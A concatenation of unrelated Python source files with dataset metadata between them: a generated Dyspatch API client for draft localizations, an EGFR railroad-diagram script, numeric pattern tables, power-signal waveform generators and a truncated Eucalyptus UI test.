_request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[LocalizationMetaRead] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.get_localization_for_draft_with_http_info(draft_id, accept, **kwargs) # noqa: E501 def get_localization_for_draft_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501 """Get localizations on a draft # noqa: E501 Returns localization metadata for the draft # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_localization_for_draft_with_http_info(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[LocalizationMetaRead], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'accept' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method get_localization_for_draft" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `get_localization_for_draft`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `get_localization_for_draft`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/localizations', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[LocalizationMetaRead]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def save_localization(self, draft_id, language_id, accept, inline_object, **kwargs): # noqa: E501 """Create or update a localization # noqa: E501 Inserts a localization or sets the name on an existing localization that already uses the languageId # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.save_localization(draft_id, language_id, accept, inline_object, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param InlineObject inline_object: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.save_localization_with_http_info(draft_id, language_id, accept, inline_object, **kwargs) # noqa: E501 def save_localization_with_http_info(self, draft_id, language_id, accept, inline_object, **kwargs): # noqa: E501 """Create or update a localization # noqa: E501 Inserts a localization or sets the name on an existing localization that already uses the languageId # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.save_localization_with_http_info(draft_id, language_id, accept, inline_object, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param InlineObject inline_object: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'language_id', 'accept', 'inline_object' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method save_localization" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `save_localization`") # noqa: E501 # verify the required parameter 'language_id' is set if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501 local_var_params['language_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `language_id` when calling `save_localization`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `save_localization`") # noqa: E501 # verify the required parameter 'inline_object' is set if self.api_client.client_side_validation and ('inline_object' not in local_var_params or # noqa: E501 local_var_params['inline_object'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `inline_object` when calling `save_localization`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 if 'language_id' in local_var_params: path_params['languageId'] = local_var_params['language_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'inline_object' in local_var_params: body_params = local_var_params['inline_object'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/localizations/{languageId}', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def set_translation(self, draft_id, language_id, accept, request_body, **kwargs): # noqa: E501 """Set translations for language # noqa: E501 Completely replaces any existing translations for the given language with those provided in request body. Variables embedded in keys or values are expected to be in the format `%(my_variable)s` and will automatically convert to the correct Dyspatch format depending on the type of template. Accepts key/value pairs in JSON format or in gettext PO file format. For JSON set `Content-Type` header to `application/json`. For gettext PO format set `Content-Type` header to `text/x-gettext-translation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_translation(draft_id, language_id, accept, request_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param dict(str, str) request_body: (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.set_translation_with_http_info(draft_id, language_id, accept, request_body, **kwargs) # noqa: E501 def set_translation_with_http_info(self, draft_id, language_id, accept, request_body, **kwargs): # noqa: E501 """Set translations for language # noqa: E501 Completely replaces any existing translations for the given language with those provided in request body. Variables embedded in keys or values are expected to be in the format `%(my_variable)s` and will automatically convert to the correct Dyspatch format depending on the type of template. Accepts key/value pairs in JSON format or in gettext PO file format. For JSON set `Content-Type` header to `application/json`. For gettext PO format set `Content-Type` header to `text/x-gettext-translation`. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.set_translation_with_http_info(draft_id, language_id, accept, request_body, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str language_id: A language ID (eg: en-US) (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param dict(str, str) request_body: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'language_id', 'accept', 'request_body' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method set_translation" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `set_translation`") # noqa: E501 # verify the required parameter 'language_id' is set if self.api_client.client_side_validation and ('language_id' not in local_var_params or # noqa: E501 local_var_params['language_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `language_id` when calling `set_translation`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `set_translation`") # noqa: E501 # verify the required parameter 'request_body' is set if self.api_client.client_side_validation and ('request_body' not in local_var_params or # noqa: E501 local_var_params['request_body'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `request_body` when calling `set_translation`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 if 'language_id' in local_var_params: path_params['languageId'] = local_var_params['language_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'request_body' in local_var_params: body_params = local_var_params['request_body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/localizations/{languageId}/translations', 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def submit_draft_for_approval(self, draft_id, accept, **kwargs): # noqa: E501 """Submit the draft for approval # noqa: E501 Moves the draft into submitted state. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.submit_draft_for_approval(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.submit_draft_for_approval_with_http_info(draft_id, accept, **kwargs) # noqa: E501 def submit_draft_for_approval_with_http_info(self, draft_id, accept, **kwargs): # noqa: E501 """Submit the draft for approval # noqa: E501 Moves the draft into submitted state. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.submit_draft_for_approval_with_http_info(draft_id, accept, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str draft_id: A draft ID (required) :param str accept: A version of the API that should be used for the request. For example, to use version \"2020.11\", set the value to \"application/vnd.dyspatch.2020.11+json\" (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: None If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [ 'draft_id', 'accept' ] all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method submit_draft_for_approval" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'draft_id' is set if self.api_client.client_side_validation and ('draft_id' not in local_var_params or # noqa: E501 local_var_params['draft_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `draft_id` when calling `submit_draft_for_approval`") # noqa: E501 # verify the required parameter 'accept' is set if self.api_client.client_side_validation and ('accept' not in local_var_params or # noqa: E501 local_var_params['accept'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `accept` when calling `submit_draft_for_approval`") # noqa: E501 collection_formats = {} path_params = {} if 'draft_id' in local_var_params: path_params['draftId'] = local_var_params['draft_id'] # noqa: E501 query_params = [] header_params = {} if 'accept' in local_var_params: header_params['Accept'] = local_var_params['accept'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/vnd.dyspatch.2020.11+json', '*/*']) # noqa: E501 # Authentication setting auth_settings = ['Bearer'] # noqa: E501 return self.api_client.call_api( '/drafts/{draftId}/publishRequest', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats)

52.279221

845

0.610661

6,645

56,357

4.960572

0.047404

0.0432

0.065831

0.021357

0.952947

0.938871

0.933774

0.929618

0.91903

0.916239

0

0.021107

0.313182

56,357

1,077

846

52.327762

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0.73724

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0.19762

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null

0

1

0

1

0

null

0

7

9a7695a458b58a8c3db736f6d1ddd234cbdba5d6

5,130

py

Python

Data/test.py

cdhavala26/railroad-diagrams

5da1b4c859a0c1d1c15f752fb80400b4d2df82c3

[ "CC0-1.0" ]

null

Data/test.py

cdhavala26/railroad-diagrams

5da1b4c859a0c1d1c15f752fb80400b4d2df82c3

[ "CC0-1.0" ]

null

Data/test.py

cdhavala26/railroad-diagrams

5da1b4c859a0c1d1c15f752fb80400b4d2df82c3

[ "CC0-1.0" ]

null

# Use the constructors import sys from railroad import * #sys.stdout = open('EGFR.html', 'w') print('<h1>Molecule Types:</h1>') add('EGFR', Diagram( "EGFR(", Choice(0, Comment(" "), 'ecd', ), Choice(0, Comment(" "), Sequence('Y1', Choice(0, Comment(" "), '~U', '~P'),) ), Choice(0, Comment(" "), Sequence('Y2', Choice(0, Comment(" "), '~U', '~P'),) ), ")" )) add('EGF', Diagram( "EFG(", Choice(0, Comment(" "), 'site', ), ")" ) ) add('Grb2', Diagram( "Grb2(", Choice(0, Comment(" "), 'sh2', ), ")" )) add('Shc', Diagram( "Shc(", Choice(0, Comment(" "), Sequence('sh3', Choice(0, Comment(" "), '~U', '~P'),) ), ")" )) #add('\nSpecies:') print('<h1>Species:</h1>') add('EGFR', Diagram( "EGFR(", Choice(0, Comment(" "), 'ecd', ), Choice(0, Comment(" "), Sequence('Y1', Choice(0, Comment(" "), '~U'),) ), Choice(0, Comment(" "), Sequence('Y2', Choice(0, Comment(" "), '~U'),) ), ")" )) add('EGF', Diagram( "EFG(", Choice(0, Comment(" "), 'site', ), ")" ) ) add('Grb2', Diagram( "Grb2(", Choice(0, Comment(" "), 'sh2', ), ")" )) add('Shc_P', Diagram( "Shc(", Choice(0, Comment(" "), Sequence('sh3', Choice(0, Comment(" "), '~P'),) ), ")" )) add('Shc_U', Diagram( "Shc(", Choice(0, Comment(" "), Sequence('sh3', Choice(0, Comment(" "), '~U'),) ), ")" )) print('<h1>Observables:</h1>') add('O0_EGFR_tot', Diagram( "EGFR(", Choice(0, Skip(), 'ecd', ), Choice(0, Skip(), Sequence('Y1', Choice(0, Skip(), '~U', '~P'),) ), Choice(0, Skip(), Sequence('Y2', Choice(0, Skip(), '~U', '~P'),) ), ")" )) add('O0_EGF_tot', Diagram( "EFG(", Choice(0, Skip(), 'site', ), ")" )) add('O0_Grb2_tot', Diagram( "Grb2(", Choice(0, Skip(), 'sh2', ), ")" )) add('O0_Shc_tot', Diagram( "Shc(", Choice(0, Skip(), Sequence('sh3', Choice(0, Skip(), '~U', '~P'),) ), ")" ) ) add('Dimers', Diagram( "EGFR(", Choice(0, Skip(), 'ecd', ), Choice(0, Comment(" "), Sequence('tmd', Choice(0, Comment(" "), 'bound'),) ), Choice(0, Skip(), Sequence('Y1', Choice(0, Skip(), '~U', '~P'),) ), Choice(0, Skip(), Sequence('Y2', Choice(0, Skip(), '~U', '~P'),) ), ")" )) add('Dimers_s', Diagram( "EGFR(", Choice(0, Skip(), 'ecd', ), Choice(0, Comment(" "), Sequence('tmd', Choice(0, Comment(" "), 'bound'),) ), Choice(0, Skip(), Sequence('Y1', Choice(0, Skip(), '~U', '~P'),) ), Choice(0, Skip(), Sequence('Y2', Choice(0, Skip(), '~U', '~P'),) ), ")" )) add('Y1', Diagram( "EGFR(", Choice(0, Skip(), 'ecd', ), Choice(0, Skip(), 'tmd', ), Choice(0, Comment(" "), Sequence('Y1', Choice(0, Comment(" "), '~P'),) ), Choice(0, Skip(), Sequence('Y2', Choice(0, Skip(), '~U', '~P'),) ), ")" )) add('Y2', Diagram( "EGFR(", Choice(0, Skip(), 'ecd', ), Choice(0, Skip(), 'tmd', ), Choice(0, Skip(), Sequence('Y1', Choice(0, Skip(), '~U', '~P'),) ), Choice(0, Comment(" "), Sequence('Y2', Choice(0, Comment(" "), '~P'),) ), ")" )) #sys.stdout.close

20.60241

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0.284405

363

5,130

3.988981

0.123967

0.265884

0.270718

0.167127

0.804558

0.801105

0.781768

0.760359

0.71547

0

0.038493

0.523977

5,130

248

65

20.685484

0.554464

0.017154

0

0.899083

0

0.104824

0.004169

0

1

0

true

0

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null

1

0

1

0

1

0

null

0

1

0

12

9aa4dda6333050befc5c7d326d92e7bf92794848

1,546

py

Python

mysite/patterns/10.py

BioinfoNet/prepub

e19c48cabf8bd22736dcef9308a5e196cfd8119a

[ "MIT" ]

19

2016-06-17T23:36:27.000Z

2020-01-13T16:41:55.000Z

mysite/patterns/10.py

BioinfoNet/prepub

e19c48cabf8bd22736dcef9308a5e196cfd8119a

[ "MIT" ]

13

2016-06-06T12:57:05.000Z

2019-02-05T02:21:00.000Z

patterns/10.py

OmnesRes/GRIMMER

173c99ebdb6a9edb1242d24a791d0c5d778ff643

[ "MIT" ]

7

2017-03-28T18:12:22.000Z

2021-06-16T09:32:59.000Z

pattern_zero=[0.0, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96] pattern_odd=[0.0, 0.01, 0.04, 0.05, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96] pattern_even=[0.0, 0.01, 0.04, 0.05, 0.09, 0.16, 0.2, 0.21, 0.24, 0.25, 0.29, 0.36, 0.4, 0.41, 0.44, 0.45, 0.49, 0.56, 0.6, 0.61, 0.64, 0.65, 0.69, 0.76, 0.8, 0.81, 0.84, 0.85, 0.89, 0.96] averages_even={0.0: [0.0], 0.25: [0.5], 0.85: [0.5], 0.69: [0.9, 0.1], 0.89: [0.9, 0.1], 0.44: [0.6, 0.4], 0.36: [0.2, 0.8], 0.41: [0.7, 0.3], 0.76: [0.8, 0.2], 0.96: [0.8, 0.2], 0.01: [0.7, 0.3], 0.29: [0.9, 0.1], 0.24: [0.6, 0.4], 0.45: [0.5], 0.04: [0.6, 0.4], 0.21: [0.7, 0.3], 0.09: [0.9, 0.1], 0.16: [0.2, 0.8], 0.6: [0.0], 0.4: [0.0], 0.84: [0.6, 0.4], 0.49: [0.9, 0.1], 0.81: [0.7, 0.3], 0.61: [0.7, 0.3], 0.64: [0.6, 0.4], 0.05: [0.5], 0.2: [0.0], 0.8: [0.0], 0.65: [0.5], 0.56: [0.8, 0.2]} averages_odd={0.0: [0.0], 0.25: [0.5], 0.85: [0.5], 0.69: [0.9, 0.1], 0.89: [0.9, 0.1], 0.44: [0.6, 0.4], 0.36: [0.2, 0.8], 0.41: [0.7, 0.3], 0.76: [0.8, 0.2], 0.96: [0.8, 0.2], 0.01: [0.7, 0.3], 0.29: [0.9, 0.1], 0.24: [0.6, 0.4], 0.45: [0.5], 0.04: [0.6, 0.4], 0.21: [0.7, 0.3], 0.09: [0.9, 0.1], 0.16: [0.2, 0.8], 0.6: [0.0], 0.4: [0.0], 0.84: [0.6, 0.4], 0.49: [0.9, 0.1], 0.81: [0.7, 0.3], 0.61: [0.7, 0.3], 0.64: [0.6, 0.4], 0.05: [0.5], 0.2: [0.0], 0.8: [0.0], 0.65: [0.5], 0.56: [0.8, 0.2]}

309.2

499

0.437257

504

1,546

1.331349

0.079365

0.089419

0.076006

0.059613

0.935917

0

0.473846

0.15912

1,546

5

500

309.2

0.042308

0

1

0

false

0

1

null

0

1

0

1

0

1

0

1

0

null

0

11

b112c35e7a8498d23747cb8e4ee67a80d73ff498

2,963

py

Python

DataGenerater.py

ZhouLiHai/data-digger

fb413fcaa0a0f1d8995b212e9b09b687322ba059

[ "Apache-2.0" ]

3

2018-06-23T03:36:54.000Z

2019-09-11T07:17:00.000Z

DataGenerater.py

ZhouLiHai/DataDigger

fb413fcaa0a0f1d8995b212e9b09b687322ba059

[ "Apache-2.0" ]

null

DataGenerater.py

ZhouLiHai/DataDigger

fb413fcaa0a0f1d8995b212e9b09b687322ba059

[ "Apache-2.0" ]

null

import math import random def uShortDown(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] #定义并处理电压暂降需要的参数信息 para = [scale * 1 for i in range(pos * priod)] start_p = 2 * pos end_p = 8 * pos for i in range(pos * priod): if(i > start_p and i < end_p): para[i] = scale * random.randint(35,50)/100.0 #根据X轴坐标和相对应的参数生成y轴数值 ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)] return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] def uShortUp(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] #定义并处理电压暂降需要的参数信息 para = [scale * 1 for i in range(pos * priod)] start_p = 2 * pos end_p = 8 * pos for i in range(pos * priod): if(i > start_p and i < end_p): para[i] = scale * random.randint(135,150)/100.0 #根据X轴坐标和相对应的参数生成y轴数值 ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)] return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] def uShortSusp(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] #定义并处理电压暂降需要的参数信息 para = [scale * 1 for i in range(pos * priod)] start_p = 2 * pos end_p = 8 * pos for i in range(pos * priod): if(i > start_p and i < end_p): para[i] = random.randint(135,150)/100.0 #根据X轴坐标和相对应的参数生成y轴数值 ari_y = [para[i] * math.sin(ari_x[i]) for i in range(pos * priod)] return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] def abnormalFreq(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] #定义并处理电压暂降需要的参数信息 freq_para = [1 for i in range(pos * priod)] start_p = 2 * pos for i in range(pos * priod): if(i > start_p): freq_para[i] = 2; #根据X轴坐标和相对应的参数生成y轴数值 ari_y = scale * [math.sin(freq_para[i] * ari_x[i]) for i in range(pos * priod)] return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] def uInstantOverLoad(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] #根据X轴坐标和相对应的参数生成y轴数值 ari_y = [scale * math.sin(ari_x[i]) for i in range(pos * priod)] for i in range(10): if (ari_y[random.randint(2 * pos, 8 * pos)] > 0): ari_y[random.randint(2 * pos, 8 * pos)] = scale * random.randint(1,100)/100 return [(ari_x[i], ari_y[i]) for i in range(pos * priod)] def Ibump(pos, priod, scale): #定义并处理X轴信息 fragment = (2 * math.pi)/pos ari_x = [fragment * i for i in range(pos * priod)] para = [0.2 for i in range(pos * priod)] part = 0.003 for i in range(pos * priod): if(i < 6 * pos): part += 0.003 para[i] = 1.0/(part + 1) #根据X轴坐标和相对应的参数生成y轴数值 ari_y = [para[i] * scale * math.sin(ari_x[i]) for i in range(pos * priod)] return [(ari_x[i], ari_y[i]) for i in range(pos * priod)]

25.324786

81

0.611205

516

2,963

3.414729

0.093023

0.15437

0.098751

0.181044

0.888763

0.872872

0.829171

0.788309

0

0.032758

0.237597

2,963

117

82

25.324786

0.747233

0.078299

0

0.609375

0

1

0.09375

false

0

0.03125

0

0.21875

0

null

0

1

0

null

0

7

b12e027a25fe13c832fb918170e8b37d533f2f4f

3,540

py

Python

3.3.1/se34euca/se34euca/testcase/testcase_view_page.py

eucalyptus/se34euca

af5da36754fccca84b7f260ba7605b8fdc30fa55

[ "BSD-2-Clause" ]

8

2015-01-08T21:06:08.000Z

2019-10-26T13:17:16.000Z

3.3.1/se34euca/se34euca/testcase/testcase_view_page.py

eucalyptus/se34euca

af5da36754fccca84b7f260ba7605b8fdc30fa55

[ "BSD-2-Clause" ]

null

3.3.1/se34euca/se34euca/testcase/testcase_view_page.py

eucalyptus/se34euca

af5da36754fccca84b7f260ba7605b8fdc30fa55

[ "BSD-2-Clause" ]

7

2016-08-31T07:02:21.000Z

2020-07-18T00:10:36.000Z

from se34euca.testcase.testcase_base import * class testcase_view_page(testcase_base): def check_login_and_logout(self): print "=== runTest: Check Login and Logout ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.base.test_ui_logout() def get_dashboard_source(self): print "=== runTest: Get Dashboard Source ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.base.test_ui_view_page_get_dashboard_source() self.eucaUITester.base.test_ui_logout() def view_keypairs_page(self): print "=== runTest: View Keypairs Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.keypair.test_ui_gotopage_keypairs() self.eucaUITester.base.test_ui_logout() def view_running_page(self): print "=== runTest: View Running Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.instance.test_ui_gotopage_running() self.eucaUITester.base.test_ui_logout() def view_security_groups_page(self): print "=== runTest: View Security Groups Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.security_group.test_ui_gotopage_security_groups() self.eucaUITester.base.test_ui_logout() def view_volumes_page(self): print "=== runTest: View Volumes Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.volume.test_ui_gotopage_volumes() self.eucaUITester.base.test_ui_logout() def view_images_page(self): print "=== runTest: View Images Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.image.test_ui_gotopage_images() self.eucaUITester.base.test_ui_logout() def view_all_page(self): print "=== runTest: View All Page ===" print self.eucaUITester.base.test_ui_login() self.eucaUITester.keypair.test_ui_gotopage_keypairs() self.eucaUITester.instance.test_ui_gotopage_running() self.eucaUITester.security_group.test_ui_gotopage_security_groups() self.eucaUITester.volume.test_ui_gotopage_volumes() self.eucaUITester.image.test_ui_gotopage_images() self.eucaUITester.base.test_ui_view_page_get_dashboard_source() self.eucaUITester.base.test_ui_logout() def view_all_page_in_loop(self): print "=== runTest: View All Page In Loop ===" print self.eucaUITester.base.test_ui_login() while True: try: print "Test: view_all_page_in_loop - Click Through All Landing Pages" print self.eucaUITester.keypair.test_ui_gotopage_keypairs() self.eucaUITester.instance.test_ui_gotopage_running() self.eucaUITester.security_group.test_ui_gotopage_security_groups() self.eucaUITester.volume.test_ui_gotopage_volumes() self.eucaUITester.image.test_ui_gotopage_images() self.eucaUITester.base.test_ui_view_page_get_dashboard_source() 